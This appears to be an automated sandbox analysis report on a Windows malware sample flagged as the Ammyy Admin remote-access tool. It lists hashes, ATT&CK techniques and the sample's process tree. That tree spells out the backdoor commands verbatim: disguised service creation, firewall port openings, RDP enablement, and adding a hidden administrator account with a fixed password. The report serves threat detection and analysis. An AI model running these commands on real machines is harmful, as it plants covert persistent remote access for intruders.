Analysis
-
max time kernel
96s -
max time network
97s -
platform
windows10-2004_x64 -
resource
win10v2004-20240802-en -
resource tags
arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system -
submitted
16-09-2024 00:00
Static task
static1
Behavioral task
behavioral1
Sample
e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe
Resource
win7-20240708-en
Behavioral task
behavioral2
Sample
e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe
Resource
win10v2004-20240802-en
General
-
Target
e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe
-
Size
1.2MB
-
MD5
e3a04b3afb014a8d3a221873d65de82e
-
SHA1
f33468a5614b981052212bdf9a2060eb54b9e52b
-
SHA256
331e3adde8909777973f5e11c688fc3b9be605a4cf52f80171c23be73e94f894
-
SHA512
4f0db7e6c49297770808844507a3ed29f326eb698f04f3175c890b55a023fd4898c808e2eb54b85951473f1997d9b27cb299cb92c96d93e782a228c044338bfb
-
SSDEEP
24576:Ur28+fzWEEMQsBgNIMXm8Azq1H4mHpi2Lpp6+pzzf5aZK56zOKZAqYwnkYIg:Q+1QaB8YqG+JlzkzY6kYIg
Malware Config
Signatures
-
Ammyy Admin
Remote admin tool with various capabilities.
-
AmmyyAdmin payload 1 IoCs
Processes:
resource yara_rule C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Network Shortcuts\svchost.exe family_ammyyadmin -
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.
-
Creates new service(s) 2 TTPs
-
Modifies Windows Firewall 2 TTPs 7 IoCs
Processes:
netsh.exenetsh.exenetsh.exenetsh.exenetsh.exenetsh.exenetsh.exepid process 4716 netsh.exe 3772 netsh.exe 1684 netsh.exe 2488 netsh.exe 4768 netsh.exe 2740 netsh.exe 4452 netsh.exe -
Sets service image path in registry 2 TTPs 1 IoCs
Processes:
REG.exedescription ioc process Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\PlugAndPlay\ImagePath = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\Network Shortcuts\\svchost.exe -service -debug" REG.exe -
Executes dropped EXE 1 IoCs
Processes:
termserv.exepid process 4316 termserv.exe -
Password Policy Discovery 1 TTPs
Attempt to access detailed information about the password policy used within an enterprise network.
-
Hide Artifacts: Hidden Users 1 TTPs 1 IoCs
Processes:
REG.exedescription ioc process Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList\Microsoft = "0" REG.exe -
Launches sc.exe 10 IoCs
Sc.exe is a Windows utlilty to control services on the system.
Processes:
sc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exepid process 4728 sc.exe 5084 sc.exe 4828 sc.exe 3240 sc.exe 1960 sc.exe 1504 sc.exe 1440 sc.exe 3844 sc.exe 2336 sc.exe 2056 sc.exe -
Event Triggered Execution: Netsh Helper DLL 1 TTPs 21 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
Processes:
netsh.exenetsh.exenetsh.exenetsh.exenetsh.exenetsh.exenetsh.exedescription ioc process Key queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe -
Permission Groups Discovery: Local Groups 1 TTPs
Attempt to find local system groups and permission settings.
-
System Location Discovery: System Language Discovery 1 TTPs 42 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
Processes:
taskkill.exectfmon.exenet.exeREG.exenet1.exee3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exesc.exenet1.exenetsh.exetermserv.exesc.exenet1.exesc.exenetsh.exesc.exenet1.exenet1.exesc.exeREG.exenetsh.exenetsh.exenet.exenet1.exesc.exeREG.exenetsh.exenet.exeREG.exenet.exeREG.exesc.execmd.exesc.exenetsh.exeREG.exenetsh.exenet.exenet1.exesc.exesc.exenet.exenet.exedescription ioc process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language taskkill.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language ctfmon.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language REG.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net1.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language sc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net1.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language netsh.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language termserv.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language sc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net1.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language sc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language netsh.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language sc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net1.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net1.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language sc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language REG.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language netsh.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language netsh.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net1.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language sc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language REG.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language netsh.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language REG.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language REG.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language sc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language sc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language netsh.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language REG.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language netsh.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net1.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language sc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language sc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net.exe -
Kills process with taskkill 1 IoCs
Processes:
taskkill.exepid process 4372 taskkill.exe -
Runs net.exe
-
Suspicious use of AdjustPrivilegeToken 2 IoCs
Processes:
e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exetaskkill.exedescription pid process Token: SeDebugPrivilege 1812 e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe Token: SeDebugPrivilege 4372 taskkill.exe -
Suspicious use of SetWindowsHookEx 2 IoCs
Processes:
termserv.exepid process 4316 termserv.exe 4316 termserv.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.execmd.exedescription pid process target process PID 1812 wrote to memory of 2056 1812 e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe sc.exe PID 1812 wrote to memory of 2056 1812 e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe sc.exe PID 1812 wrote to memory of 2056 1812 e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe sc.exe PID 1812 wrote to memory of 1960 1812 e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe sc.exe PID 1812 wrote to memory of 1960 1812 e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe sc.exe PID 1812 wrote to memory of 1960 1812 e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe sc.exe PID 1812 wrote to memory of 4728 1812 e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe sc.exe PID 1812 wrote to memory of 4728 1812 e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe sc.exe PID 1812 wrote to memory of 4728 1812 e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe sc.exe PID 1812 wrote to memory of 1504 1812 e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe sc.exe PID 1812 wrote to memory of 1504 1812 e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe sc.exe PID 1812 wrote to memory of 1504 1812 e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe sc.exe PID 1812 wrote to memory of 4372 1812 e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe taskkill.exe PID 1812 wrote to memory of 4372 1812 e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe taskkill.exe PID 1812 wrote to memory of 4372 1812 e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe taskkill.exe PID 1812 wrote to memory of 1200 1812 e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe cmd.exe PID 1812 wrote to memory of 1200 1812 e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe cmd.exe PID 1812 wrote to memory of 1200 1812 e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe cmd.exe PID 1812 wrote to memory of 1440 1812 e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe sc.exe PID 1812 wrote to memory of 1440 1812 e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe sc.exe PID 1812 wrote to memory of 1440 1812 e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe sc.exe PID 1200 wrote to memory of 4428 1200 cmd.exe ctfmon.exe PID 1200 wrote to memory of 4428 1200 cmd.exe ctfmon.exe PID 1200 wrote to memory of 4428 1200 cmd.exe ctfmon.exe PID 1812 wrote to memory of 5084 1812 e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe sc.exe PID 1812 wrote to memory of 5084 1812 e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe sc.exe PID 1812 wrote to memory of 5084 1812 e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe sc.exe PID 1812 wrote to memory of 3772 1812 e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe netsh.exe PID 1812 wrote to memory of 3772 1812 e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe netsh.exe PID 1812 wrote to memory of 3772 1812 e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe netsh.exe PID 1812 wrote to memory of 4828 1812 e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe sc.exe PID 1812 wrote to memory of 4828 1812 e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe sc.exe PID 1812 wrote to memory of 4828 1812 e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe sc.exe PID 1812 wrote to memory of 540 1812 e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe REG.exe PID 1812 wrote to memory of 540 1812 e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe REG.exe PID 1812 wrote to memory of 540 1812 e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe REG.exe PID 1812 wrote to memory of 2676 1812 e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe REG.exe PID 1812 wrote to memory of 2676 1812 e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe REG.exe PID 1812 wrote to memory of 2676 1812 e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe REG.exe PID 1812 wrote to memory of 1488 1812 e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe REG.exe PID 1812 wrote to memory of 1488 1812 e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe REG.exe PID 1812 wrote to memory of 1488 1812 e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe REG.exe PID 1812 wrote to memory of 1684 1812 e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe netsh.exe PID 1812 wrote to memory of 1684 1812 e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe netsh.exe PID 1812 wrote to memory of 1684 1812 e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe netsh.exe PID 1812 wrote to memory of 2488 1812 e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe netsh.exe PID 1812 wrote to memory of 2488 1812 e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe netsh.exe PID 1812 wrote to memory of 2488 1812 e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe netsh.exe PID 1812 wrote to memory of 4768 1812 e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe netsh.exe PID 1812 wrote to memory of 4768 1812 e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe netsh.exe PID 1812 wrote to memory of 4768 1812 e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe netsh.exe PID 1812 wrote to memory of 2740 1812 e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe netsh.exe PID 1812 wrote to memory of 2740 1812 e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe netsh.exe PID 1812 wrote to memory of 2740 1812 e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe netsh.exe PID 1812 wrote to memory of 4452 1812 e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe netsh.exe PID 1812 wrote to memory of 4452 1812 e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe netsh.exe PID 1812 wrote to memory of 4452 1812 e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe netsh.exe PID 1812 wrote to memory of 4716 1812 e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe netsh.exe PID 1812 wrote to memory of 4716 1812 e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe netsh.exe PID 1812 wrote to memory of 4716 1812 e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe netsh.exe PID 1812 wrote to memory of 4316 1812 e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe termserv.exe PID 1812 wrote to memory of 4316 1812 e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe termserv.exe PID 1812 wrote to memory of 4316 1812 e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe termserv.exe PID 1812 wrote to memory of 3240 1812 e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe sc.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\e3a04b3afb014a8d3a221873d65de82e_JaffaCakes118.exe"1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1812 -
C:\Windows\SysWOW64\sc.exesc stop "ProtocolWindows_ "2⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
PID:2056 -
C:\Windows\SysWOW64\sc.exesc delete "ProtocolWindows_ "2⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
PID:1960 -
C:\Windows\SysWOW64\sc.exesc stop "PlugAndPlay"2⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
PID:4728 -
C:\Windows\SysWOW64\sc.exesc delete "PlugAndPlay"2⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
PID:1504 -
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im ctfmon.exe2⤵
- System Location Discovery: System Language Discovery
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4372 -
C:\Windows\SysWOW64\cmd.execmd.exe /c ctfmon.exe2⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1200 -
C:\Windows\SysWOW64\ctfmon.exectfmon.exe3⤵
- System Location Discovery: System Language Discovery
PID:4428 -
C:\Windows\SysWOW64\sc.exesc create "ProtocolWindows_ " binpath= "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Network Shortcuts\lsass.exe" displayname= "Protocol HTTP/SSL " type= own start= auto error= ignore2⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
PID:1440 -
C:\Windows\SysWOW64\sc.exesc description "ProtocolWindows_ " "Ýòà ñëóæáa îáåñïå÷èâàåò áåçîïañíûé ïðîòîêîë ïåðåäà÷è äàííûõ ãèïåðòåêñòà (HTTPS) äëÿ ñëóæáû HTTP. Åñëè ýòà ñëóæáà îòêëþ÷åía, ëþáûå ñëóæáû, êîòîðûå ÿâíî çaâèñÿò îò íåå, íå ìîãóò áûòü çàïóùåíû. "2⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
PID:5084 -
C:\Windows\SysWOW64\netsh.exenetsh firewall add allowedprogram "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Network Shortcuts\lsass.exe" ENABLE2⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
PID:3772 -
C:\Windows\SysWOW64\sc.exesc create "PlugAndPlay" displayname= "PlugAndPlay " binpath= "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Network Shortcuts\svchost.exe -service -debug" type= own start= auto error= ignore2⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
PID:4828 -
C:\Windows\SysWOW64\REG.exeREG ADD "HKLM\SYSTEM\CurrentControlSet\services\PlugAndPlay" /v ImagePath /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Network Shortcuts\svchost.exe -service -debug" /f2⤵
- Sets service image path in registry
- System Location Discovery: System Language Discovery
PID:540 -
C:\Windows\SysWOW64\REG.exeREG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_REGDWORD /d 3389 /f2⤵
- System Location Discovery: System Language Discovery
PID:2676 -
C:\Windows\SysWOW64\REG.exeREG ADD "HKCU\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_LOCALMACHINE_LOCKDOWN" /v iexplore.exe /t REG_REGDWORD /d 0 /f2⤵
- System Location Discovery: System Language Discovery
PID:1488 -
C:\Windows\SysWOW64\netsh.exenetsh firewall add allowedprogram "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Network Shortcuts\svchost.exe" ENABLE2⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
PID:1684 -
C:\Windows\SysWOW64\netsh.exenetsh firewall add allowedprogram ctfmon.exe ENABLE2⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
PID:2488 -
C:\Windows\SysWOW64\netsh.exenetsh firewall add portopening protocol = TCP port = 3389 name = TCP2⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
PID:4768 -
C:\Windows\SysWOW64\netsh.exenetsh firewall add portopening protocol = TCP port = 31337 name = TCP2⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
PID:2740 -
C:\Windows\SysWOW64\netsh.exenetsh firewall add portopening protocol = TCP port = 80 name = TCP2⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
PID:4452 -
C:\Windows\SysWOW64\netsh.exenetsh firewall add portopening protocol = TCP port = 8080 name = TCP2⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
PID:4716 -
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Network Shortcuts\termserv.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Network Shortcuts\termserv.exe" -silent2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
PID:4316 -
C:\Windows\SysWOW64\sc.exesc start mnmsrvc2⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
PID:3240 -
C:\Windows\SysWOW64\sc.exesc Start TlntSvr2⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
PID:3844 -
C:\Windows\SysWOW64\sc.exesc Start TermService2⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
PID:2336 -
C:\Windows\SysWOW64\net.exenet start FastUserSwitchingCompatibility2⤵
- System Location Discovery: System Language Discovery
PID:5068 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start FastUserSwitchingCompatibility3⤵
- System Location Discovery: System Language Discovery
PID:3192 -
C:\Windows\SysWOW64\net.exenet start TermService2⤵
- System Location Discovery: System Language Discovery
PID:3028 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start TermService3⤵
- System Location Discovery: System Language Discovery
PID:3280 -
C:\Windows\SysWOW64\REG.exeREG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f2⤵
- System Location Discovery: System Language Discovery
PID:1192 -
C:\Windows\SysWOW64\REG.exeREG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fSingleSessionPerUser /t REG_DWORD /d 0 /f2⤵
- System Location Discovery: System Language Discovery
PID:5036 -
C:\Windows\SysWOW64\net.exenet user Microsoft skj2g43 /add /EXPIRES:NEVER /active:yes2⤵
- System Location Discovery: System Language Discovery
PID:1164 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 user Microsoft skj2g43 /add /EXPIRES:NEVER /active:yes3⤵
- System Location Discovery: System Language Discovery
PID:3616 -
C:\Windows\SysWOW64\net.exenet localgroup Microsoft /add2⤵
- System Location Discovery: System Language Discovery
PID:1404 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 localgroup Microsoft /add3⤵
- System Location Discovery: System Language Discovery
PID:4936 -
C:\Windows\SysWOW64\net.exenet localgroup Àäìèíèñòðàòîðû Microsoft /add2⤵
- System Location Discovery: System Language Discovery
PID:2816 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 localgroup Àäìèíèñòðàòîðû Microsoft /add3⤵
- System Location Discovery: System Language Discovery
PID:1328 -
C:\Windows\SysWOW64\net.exenet localgroup Administrators Microsoft /add2⤵
- System Location Discovery: System Language Discovery
PID:900 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 localgroup Administrators Microsoft /add3⤵
- System Location Discovery: System Language Discovery
PID:1044 -
C:\Windows\SysWOW64\net.exenet accounts /maxpwage:unlimited2⤵
- System Location Discovery: System Language Discovery
PID:860 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 accounts /maxpwage:unlimited3⤵
- System Location Discovery: System Language Discovery
PID:2260 -
C:\Windows\SysWOW64\REG.exeREG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v Microsoft /t REG_DWORD /d 0 /f2⤵
- Hide Artifacts: Hidden Users
- System Location Discovery: System Language Discovery
PID:1604
Network
MITRE ATT&CK Enterprise v15
Persistence
Account Manipulation
1Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
3Windows Service
3Event Triggered Execution
1Netsh Helper DLL
1Privilege Escalation
Account Manipulation
1Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
3Windows Service
3Event Triggered Execution
1Netsh Helper DLL
1Defense Evasion
Hide Artifacts
1Hidden Users
1Impair Defenses
2Disable or Modify System Firewall
1Modify Registry
1Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
85KB
MD5e0b8d7ad878eff7bdfba66d17665eb58
SHA1ec4ab8ed9ca2ad06749851a76451108b4c608eba
SHA256779a40fca7a3680a1dcbf08e53be5a63ce41564d452c3053f03e487c8de39952
SHA51217e457940e4117cc7bd59e6743bf2877495201a3e277ef3133b6370f1148f54a85acc91ab6747b97c1f3beacc49a2fda01bdb89e3d7c6ff6ac76c801e15be650
-
Filesize
587KB
MD5ad6269fd2b94fa1ad58f4755c288eed2
SHA1736be980a1170d6fbc63ee02bd7dde14fb860513
SHA25618b723836baba860e45cb4cebd01dfecd71f318d88518baf2f0fa41b3bb8a704
SHA5120ede581e7e6153612c63b8fce40f9e3bbd415f541800c9f57167f09f57fca657e59eff34db647b24bd7ef2eb8d3bb5a67244864cd2e49ec22b22ea692df1c3dc
-
Filesize
44KB
MD5382cebd78ad354b1dfd91dc8176615f6
SHA15c734f779cf23cee4d7260a0eee3ce1ed888f1c0
SHA256067f0765790c0e75c3774f4c5890ddacb8b99ecd6f80743d68aad9d34de8b445
SHA512650a3be640baac30d3c36185048c6f4e5b2536cf0086b49386ea7149c7148cc1ce4f12c7832ddb2520677d67f15214b0c8e41c0eed5938b0283b1374f6bdd197